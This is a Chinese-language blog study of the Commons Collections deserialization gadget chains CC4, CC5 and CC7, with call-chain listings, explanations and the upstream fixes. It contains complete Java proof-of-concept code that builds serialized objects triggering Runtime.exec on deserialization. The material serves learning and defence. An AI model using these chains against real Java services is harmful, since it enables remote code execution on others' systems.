前言

前边已经将CC链中的关键部分学习差不多,接下来就是一些扩展思路,

CC4

ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses.newInstance()
Runtime.exec()

cc4也没什么新的东西,实际上算是cc2和cc3的杂交体。其中的类前边都已经学过了。

CC5

/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/

cc5的后半段与cc1相同,在cc1中说了,这里只要调用LazyMap#get并且传递任意内容即可触发后续的链达到rce的目的。

在cc5中用到的是TiedMapEntry中的toString方法:

public String toString() {
return this.getKey() + "=" + this.getValue();
}

跟进getValue方法:

 public V getValue() {
return this.map.get(this.key);
}

可以发现这里对this.map调用了get方法,并将key传递进去,所以这里只需要令map为我们前面构造好的LazyMap,即可触发rce

map以及key都是我们可控的,构造POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry; import java.util.HashMap; public class cc5 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc。exe"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
tiedmap.toString();
}
}

接下来我们需要找哪里调用了toString方法,在cc5中使用了BadAttributeValueExpException这个类

BadAttributeValueExpException#readObject:

看看这个valObj是从哪里来的:

这里是从Filed中取出来的,那么利用方式也就很清晰了,通过反射来设置BadAttributeValueExpException中val的值为TiedMapEntry即可触发命令执行

那为什么创建BadAttributeValueExpException实例时不直接将构造好的TiedMapEntry传进去而要通过反射来修改val的值?

以下为BadAttributeValueExpException的构造方法:

public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

如果我们直接将前面构造好的TiedMapEntry传进去,在这里就会触发toString,从而导致rce。此时val的值为UNIXProcess,这是不可以被反序列化的,所以我们需要在不触发rce的前提,将val设置为构造好的TiedMapEntry。否则就会报出下边的错误

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry; import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap; public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc.exe"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap); try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

CC7

/* Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/

cc7后半段与cc1相同,前半段(如何触发LazyMap#get)不同

在cc1中是通过AnnotationInvocationHandler#invoke来触发对恶意代理handler调用其invoke方法从而触发LazyMap#get方法。

而cc7中是通过AbstractMap#equals来触发对LazyMap#get方法的调用

如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发

先寻找调用equals方法的点,cc7中使用了HashTable#reconstitutionPut

这里的key如果是我们可控的,那么m就是我们可控的,接着在HashTable#readObject中调用了reconstitutionPut方法,并将key传递进去

接下来就是看如何对参数进行控制的问题了。

readObject方法中传递进去的key,是使用readObject得到的,那么在writeObject处,也必然会有:

里传递的实际上就是HashTable#put时添加进去的key和value

POC如下

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap; import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map; public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { // Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"calc.exe"}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)}; Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}

为什么要调用两次put?

在第一次调用reconstitutionPut时,会把key和value注册进table中

此时由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。

为什么调用的两次put其中map中key的值分别为yy和zZ?

箭头指向的index要求两次都一样,否则无法获取到上一次的结果,再看看index是哪里来的,

这里index的计算方式关键是hash,而hash是通过key.hashCode得来的,在java中有一个小bug:

"yy".hashCode() == "zZ".hashCode()

所以这里我们需要将map中put的值设置为yy和zZ,使两次计算的index都一样,才能够进入到for循环中

为什么在调用完HashTable#put之后,还需要在map2中remove掉yy?

这是因为HashTable#put实际上也会调用到equals方法,会影响我们的判断。

小结

学完CC1-CC7之后,可以得出如下结论,cc的链大抵分为三段:

  • readObject触发
  • 调用transform方法
  • 触发后续链达到rce的目的

版本相关

  • 1、3、5、6、7是Commons Collections<=3.2.1中存在的反序列化链。
  • 2、4是Commons Collections 4.0以上中存在的反序列化链。
  • 同时还对JDK的版本有要求,我使用的测试版本为1.7和1.8。

修复

顺便看看官方是怎么修复漏洞的,Apache Commons Collections官⽅在2015年底得知序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.13.2.2

先看3.2.2,新版代码中增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization,⽤于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下会抛出异常。 这个检查在常⻅的危险Transformer类( InstantiateTransformer 、 InvokerTransformer 、 PrototypeFactory 、 CloneTransforme r 等的readObject⾥进⾏调⽤,所以,当我们反序列化包含这些对象时就会抛出⼀个异常:

Serialization support for org.apache.commons.collections.functors.InvokerTransformer is

disabled for security reasons. To enable it set system property

'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure

that your application does not de-serialize objects from untrusted sources

再看4.1,修复⽅式⼜不⼀样。4.1⾥,这⼏个危险Transformer类不再实现 Serializable 接⼝,也就 是说,他们⼏个彻底⽆法序列化和反序列化了

Java安全之CC4,5,7的更多相关文章

  1. Spark案例分析

    一.需求:计算网页访问量前三名 import org.apache.spark.rdd.RDD import org.apache.spark.{SparkConf, SparkContext} /* ...

  2. JAVA车票管理系统(简单GUI)

    一.    需求分析 1.设计题目:车票管理系统 用JAVA语言和数据结构知识设计设计车票管理系统.要求如下所述: 一车站每天有n个发车班次,每个班次都有一个班次号(1.2.3…n),固定的发车时间, ...

  3. java中的反射整理

    1,什么是反射 反射机制是java语言提供的一种基础功能,它能够赋予成语在运行时进行自省的能力.通过反射我们可以直接操作类或者对象,例如:可以通过反射去获取某个对象的类的定义,属性,方法,还可以修改类 ...

  4. Java【第八篇】面向对象之高级类特性

    static 关键字 当我们编写一个类时,其实就是在描述其对象的属性和行为,而并没有产生实质上的对象,只有通过new关键字才会产生出对象,这时系统才会分配内存空间给对象,其方法才可以供外部调用.我们有 ...

  5. 【JVM】java的内存泄露问题

    一.GC可回收的对象 二:什么是内存泄露--->Java的一个最显著的优势是内存管理.你只需要简单的创建对象而不需要负责释放空间,因为Java的垃圾回收器会负责内存的回收.然而,情况并不是这样简 ...

  6. java反序列化-ysoserial-调试分析总结篇(2)

    前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...

  7. java反序列化-ysoserial-调试分析总结篇(4)

    1.前言 这篇文章继续分析commoncollections4利用链,这篇文章是对cc2的改造,和cc3一样,cc3是对cc1的改造,cc4则是对cc2的改造,里面chained的invoke变成了i ...

  8. Java安全之Shiro 550反序列化漏洞分析

    Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...

  9. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

随机推荐

  1. ubuntu20.4 sgx环境配置

    一.driver安装 1.在该下载地址将3个.bin文件下载下来,下载地址:https://download.01.org/intel-sgx/latest/linux-latest/distro/u ...

  2. 基于Vue的前端UI组件库的比对和选型

    大家好,我是张飞洪,感谢您的阅读,我会不定期和你分享学习心得,希望我的文章能成为你成长路上的垫脚石,让我们一起精进. 由于录制视频的需要,要做前端UI组件库的选型.平时国内外也见了不少基于Vue的UI ...

  3. KingbaseES 与Oracle 函数稳定性对于性能影响差异比较

    一.函数的属性 KingbaseES 函数在定义时有三种稳定性级别:volatile.stable 和 immutable.默认情况下,创建函数的稳定性为volatile.以下是这三种函数的区别: V ...

  4. systemctl_用法总结

    查看开机启动项 //查询开机启动项 systemctl list-unit-files // 输出 UNIT FILE 对应服务名:STATE 是状态:enable 是开机启动,disable是开机不 ...

  5. 原生JavaScript对【DOM元素】的操作——增、删、改、查

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  6. 创建一个k8s私有仓库-harbor

    〇.前言 这一步应该是在搭建k8s之前做好,注意了奥 一.安装docker和docker-compose 1.下载docker-compose的最新版本 # 建议那种网上冲浪下载!,下载下来记得命名成 ...

  7. 新一代网络请求库:python-httpx库

    目录 httpx库 一. 概述 1. 简介 2. 命令行模式 3. 快速开始 3.1 get请求 3.2 post请求 3.2.1 表单 3.2.2 文件 3.2.3 JSON 3.2.4 二进制 3 ...

  8. 微服务低代码Serverless平台(星链)的应用实践

    导读 星链是京东科技消金基础研发部研发的一款研发效能提升的工具平台,面向后端服务研发需求,尤其是集成性.场景化.定制化等难度不太高.但比较繁琐的需求,如服务前端的后端(BFF).服务流程编排.异步消息 ...

  9. Linux 使用 Systemd 管理进程服务

    转载自:https://mp.weixin.qq.com/s/e-_PUNolUm22-Uy_ZjpuEA systemd 介绍 systemd是目前Linux系统上主要的系统守护进程管理工具,由于i ...

  10. 8.maven上传jar包以及SNAPSHOT的一个坑

    1,手动上传包 如何将一些新的外部包上传到私服当中呢? 首先是要登录上去,然后点击 Upload,找到 maven-local将jar包找到选中,然后填写对应的三个定位信息即可上传. 在引用的时候,道 ...